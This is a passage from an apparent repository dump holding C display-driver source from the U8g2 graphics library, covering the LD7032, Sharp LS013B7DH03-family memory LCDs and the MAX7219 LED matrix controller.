u8x8_cad_SendCmd(u8x8, 0x035 );\n      u8x8_cad_SendArg(u8x8, 0x007 );\n      u8x8_cad_SendCmd(u8x8, 0x036 );\n      u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)*8 );\n      u8x8_cad_SendCmd(u8x8, 0x037 );\n      u8x8_cad_SendArg(u8x8, 0x01f );\n      u8x8_cad_SendCmd(u8x8, 0x008 );\n    \n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ld7032_60x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 15,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 30,\t\t/* 20ns, but cycle time is 60ns, so use 60/2 */\n  /* sck_pulse_width_ns = */ 30,\t/* 20ns, but cycle time is 60ns, so use 60/2  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 20,\n  /* write_pulse_width_ns = */ 40,\t\n  /* tile_width = */ 8,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 60,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_ld7032_60x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_60x32_display_info);\n      return 1;\n    }\n    return u8x8_d_ld7032_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n\n/* alternative version, issue #1189 */\n\n/* new sequence https://github.com/olikraus/u8g2/issues/1189 */\nstatic const uint8_t u8x8_d_ld7032_60x32_alt_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x02, 0x00),\t\t  \t\t\n  U8X8_CA(0x14, 0x00),\t\t  \t\t\n  U8X8_CA(0x1A, 0x05),\t\t  \t\t\n  U8X8_CA(0x1D, 0x00),\t\t  \t\n  U8X8_CA(0x09, 0x00),\t      \t\t\n  U8X8_CAA(0x30, 0x00, 0x3F),\n  U8X8_CAA(0x32, 0x08, 0x27),\n  U8X8_CA(0x34, 0x00),\t\t\t\t\n  U8X8_CA(0x35, 0x07),\t\t\n  U8X8_CA(0x36, 0x08),\t\n  U8X8_CA(0x37, 0x27),\t\t\t\n  U8X8_CA(0x38, 0x00),        \n  U8X8_CA(0x39, 0x20),       \n  U8X8_CA(0x10, 0x05),\t\t  \t\n  U8X8_CA(0x16, 0x00),\t\t  \t\n  U8X8_CA(0x18, 0x08),\t\t  \t\t\n  U8X8_CA(0x12, 0x2F),\t\t  \t\n  U8X8_CA(0x3D, 0x01),\t\t  \t\n  U8X8_CA(0x3F, 0x10),\t\t  \t\t\n  U8X8_CA(0x44, 0x02),\t\t  \t\t\n  U8X8_CA(0x48, 0x03),\t\t  \t\n  U8X8_CA(0x17, 0x00),         \n  U8X8_CA(0x13, 0x01),        \n  U8X8_CA(0x3F, 0x11),          // internal regulator enabled, vcc_c * 0.7 \n  U8X8_CA(0x3D, 0x00),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n  \n  };\n\nuint8_t u8x8_d_ld7032_60x32_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_60x32_display_info);\n      return 1;\n    }\n\n    if ( msg ==U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_alt_init_seq);    \n      return 1;\n    }\n    \n    return u8x8_d_ld7032_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*==========================================*/\n/*\n  128x36 Flip Mode is NOT supported\n  see https://github.com/olikraus/u8g2/issues/2135\n*/\n\nstatic uint8_t u8x8_d_ld7032_128_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_60x32_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x012 );\n      if ( arg_int > 0x07f )\t\t\t/* default is 0x040, limit to 0x07f to be on the safe side (hopefully) */\n\targ_int= 0x07f;\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* values from 0x00 to 0x0ff are allowed, bit will all values be safe??? */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x += u8x8->x_offset/8;\n      u8x8_cad_SendCmd(u8x8, 0x034 );\n      u8x8_cad_SendArg(u8x8, x );\n      u8x8_cad_SendCmd(u8x8, 0x035 );\n      u8x8_cad_SendArg(u8x8, 0x00f );\n      u8x8_cad_SendCmd(u8x8, 0x036 );\n      u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)*8 );\n      u8x8_cad_SendCmd(u8x8, 0x037 );\n      u8x8_cad_SendArg(u8x8, 0x027 );\n      u8x8_cad_SendCmd(u8x8, 0x008 );\n    \n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ld7032_128x36_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 15,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 30,\t\t/* 20ns, but cycle time is 60ns, so use 60/2 */\n  /* sck_pulse_width_ns = */ 30,\t/* 20ns, but cycle time is 60ns, so use 60/2  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 20,\n  /* write_pulse_width_ns = */ 40,\t\n  /* tile_width = */ 16,\n  /* tile_height = */ 5,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 36\n};\n\nstatic const uint8_t u8x8_d_ld7032_128x36_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x14, 0x00),\t\t  \t\t// standby mode\n  U8X8_CA(0x02, 0x00),\t\t  \t\t// display off\n  U8X8_CA(0x1A, 0x05),\t\t  \t\t// frame frequency\n  U8X8_CA(0x1D, 0x00),\t\t  \t        // data write direction (datasheet: 1d 0b\n  U8X8_CA(0x09, 0x00),\t      \t\t        // scan direction\n  U8X8_CAA(0x30, 0x00, 0x7F),             // column driver active range \n  U8X8_CAA(0x32, 0x04, 0x27),           // row driver active range\n  U8X8_CA(0x34, 0x00),\t\t\t\t// start line\n  U8X8_CA(0x35, 0x0f),\t\t                // end line\n  U8X8_CA(0x36, 0x04),\t                        // row start line\n  U8X8_CA(0x37, 0x27),\t\t\t        // row end line\n  U8X8_CA(0x38, 0x00),                          // x disp start, default 0        \n  U8X8_CA(0x39, 0x00),                          // y disp start, default 0\n  U8X8_CA(0x10, 0x1f),\t\t  \t        // peak pulse width\n  U8X8_CA(0x16, 0x05),\t\t                // pulse delay width  \t\n  U8X8_CA(0x18, 0x1f),\t\t  \t\t// pre charge width\n  U8X8_CA(0x12, 0x3F),\t\t  \t        // contrast control\n  U8X8_CA(0x44, 0x02),\t\t  \t\t// PreC select, default: 2\n  //U8X8_CA(0x48, 0x00),\t\t  \t        // row overlap, default: 0 (was 3)\n  U8X8_CA(0x17, 0x00),                          // row scan, default: 0\n  U8X8_CA(0x13, 0x01),                          // scan mode sequence\n  //U8X8_CA(0x3F, 0x11),                         // VCC R Selection, default: 0 (int. reg. disabled, vcc_c*0.8)\n  U8X8_CA(0x3D, 0x01),                          // vdd selection 0: 2.8V-3.5, 1: 1.8V (1.65-2.5V)\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n  \n  };\n\nuint8_t u8x8_d_ld7032_128x36(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_128x36_display_info);\n      return 1;\n    }\n\n    if ( msg ==U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_128x36_init_seq);    \n      return 1;\n    }\n    \n    return u8x8_d_ld7032_128_generic(u8x8, msg, arg_int, arg_ptr);\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ls013b7dh03.c",
    "content": "/*\n\n  u8x8_d_ls013b7dh03.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  The LS013B7DH02 is a simple display and controller\n  --> no support for contrast adjustment, flip and power down.\n*/\n\n#include \"u8x8.h\"\n\n#define SWAP8(a) ((((a) & 0x80) >> 7) | (((a) & 0x40) >> 5) | (((a) & 0x20) >> 3) | (((a) & 0x10) >> 1) | (((a) & 0x08) << 1) | (((a) & 0x04) << 3) | (((a) & 0x02) << 5) | (((a) & 0x01) << 7))\n\n#define LS013B7DH03_CMD_UPDATE     (0x01)\n#define LS013B7DH03_CMD_ALL_CLEAR  (0x04)\n#define LS013B7DH03_VAL_TRAILER    (0x00)\n\nstatic const u8x8_display_info_t u8x8_ls013b7dh03_128x128_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  /* post_chip_enable_wait_ns = */ 50,\n  /* pre_chip_disable_wait_ns = */ 50,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 227,\t/* 227 nsec according to the datasheet */\t\t\n  /* sck_pulse_width_ns = */  255,\t/* 450 nsec according to the datasheet */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* changed from 2 to 0 (https://github.com/olikraus/u8g2/issues/1771) */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 100,\n  /* write_pulse_width_ns = */ 100,\n  /* tile_width = */ 16,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\nuint8_t u8x8_d_ls013b7dh03_128x128(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t y, c, i;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ls013b7dh03_128x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n\n      /* clear screen */\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, SWAP8(LS013B7DH03_CMD_ALL_CLEAR) );\n      u8x8_cad_SendCmd(u8x8, LS013B7DH03_VAL_TRAILER);\n      u8x8_cad_EndTransfer(u8x8);\n\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      /* not available for the ls013b7dh03 */\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      /* each tile is 8 lines, with the data starting at the left edge */\n      y = ((((u8x8_tile_t *)arg_ptr)->y_pos) * 8) + 1;\n\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n      /* send data mode byte */\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, SWAP8(LS013B7DH03_CMD_UPDATE) );\n\n      /* send 8 lines of 16 bytes (=128 pixels) */\n      for( i = 0; i < 8; i++ )\n      {\n        u8x8_cad_SendCmd(u8x8, SWAP8(y + i) );\n        u8x8_cad_SendData(u8x8, c, ptr);\n        u8x8_cad_SendCmd(u8x8, LS013B7DH03_VAL_TRAILER);\n\n        ptr += c;\n      }\n\n      /* finish with a trailing byte */\n      u8x8_cad_SendCmd(u8x8, LS013B7DH03_VAL_TRAILER);\n      u8x8_cad_EndTransfer(u8x8);\n\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ls027b7dh01_400x240_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  /* post_chip_enable_wait_ns = */ 50,\n  /* pre_chip_disable_wait_ns = */ 50,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 227,\t/* 227 nsec according to the datasheet */\t\t\n  /* sck_pulse_width_ns = */  255,\t/* 450 nsec according to the datasheet */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* changed from 2 to 0 (https://github.com/olikraus/u8g2/issues/1771) */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 100,\n  /* write_pulse_width_ns = */ 100,\n  /* tile_width = */ 50,\n  /* tile_height = */ 30,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 400,\n  /* pixel_height = */ 240\n};\n\nuint8_t u8x8_d_ls027b7dh01_400x240(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ls027b7dh01_400x240_display_info);\n      break;\n    default:\n      return u8x8_d_ls013b7dh03_128x128(u8x8, msg, arg_int, arg_ptr);\n  }    \n  return 1;\n}\n\nstatic const u8x8_display_info_t u8x8_ls027b7dh01_m0_400x240_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  /* post_chip_enable_wait_ns = */ 50,\n  /* pre_chip_disable_wait_ns = */ 50,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 227,\t/* 227 nsec according to the datasheet */\t\t\n  /* sck_pulse_width_ns = */  255,\t/* 450 nsec according to the datasheet */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active low, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 100,\n  /* write_pulse_width_ns = */ 100,\n  /* tile_width = */ 50,\n  /* tile_height = */ 30,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 400,\n  /* pixel_height = */ 240\n};\n\nuint8_t u8x8_d_ls027b7dh01_m0_400x240(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ls027b7dh01_m0_400x240_display_info);\n      break;\n    default:\n      return u8x8_d_ls013b7dh03_128x128(u8x8, msg, arg_int, arg_ptr);\n  }    \n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ls013b7dh05_144x168_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  /* post_chip_enable_wait_ns = */ 50,\n  /* pre_chip_disable_wait_ns = */ 50,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 227,\t/* 227 nsec according to the datasheet */\t\t\n  /* sck_pulse_width_ns = */  255,\t/* 450 nsec according to the datasheet */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* changed from 2 to 0 (https://github.com/olikraus/u8g2/issues/1771) */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 100,\n  /* write_pulse_width_ns = */ 100,\n  /* tile_width = */ 18,\n  /* tile_height = */ 21,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 144,\n  /* pixel_height = */ 168\n};\n\nuint8_t u8x8_d_ls013b7dh05_144x168(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ls013b7dh05_144x168_display_info);\n      break;\n    default:\n      return u8x8_d_ls013b7dh03_128x128(u8x8, msg, arg_int, arg_ptr);\n  }    \n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_max7219.c",
    "content": "/*\n\n  u8x8_d_max7219.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_max7219_init_seq[] = {\n\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n\n\n  //U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n    \n  //U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_max7219_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_max7219_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_max7219_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t c, j, i;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_pcf8812_96x65_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave1_seq);\n      break;\n    */\n/*  not supported by MAX7219\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      break;\n*/\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      for( i = 0; i < u8x8->display_info->tile_width; i++ )\n      {\n\tu8x8_cad_SendCmd(u8x8, 10 );    /* brightness */\n\tu8x8_cad_SendArg(u8x8, (arg_int>>4) );\t/* 0..15 for contrast */\n      }\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      /* transfer always has to start at x pos 0 (u8x8 is not supported) */\n      /* also y pos has to be 0 */\n      /* arg_int is ignored */\n      //x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\t/* data ptr to the tiles */\n      for( i = 0; i < 8; i++ )\n      {\n\tu8x8_cad_StartTransfer(u8x8);\n\tfor( j = 0; j < c; j++ )\n\t{\n\t  u8x8_cad_SendCmd(u8x8, i+1);\t/* commands 1..8 select the byte */\n\t  u8x8_cad_SendArg(u8x8, *ptr );\n\t  ptr++;\n\t}\n\tu8x8_cad_EndTransfer(u8x8);\n      }\n      \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*==============================*/\n\nstatic const u8x8_display_info_t u8x8_max7219_32x8_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 100,\n  /* reset_pulse_width_ms = */ 100, \n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 100,\t\n  /* sck_pulse_width_ns = */ 100,\t\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns 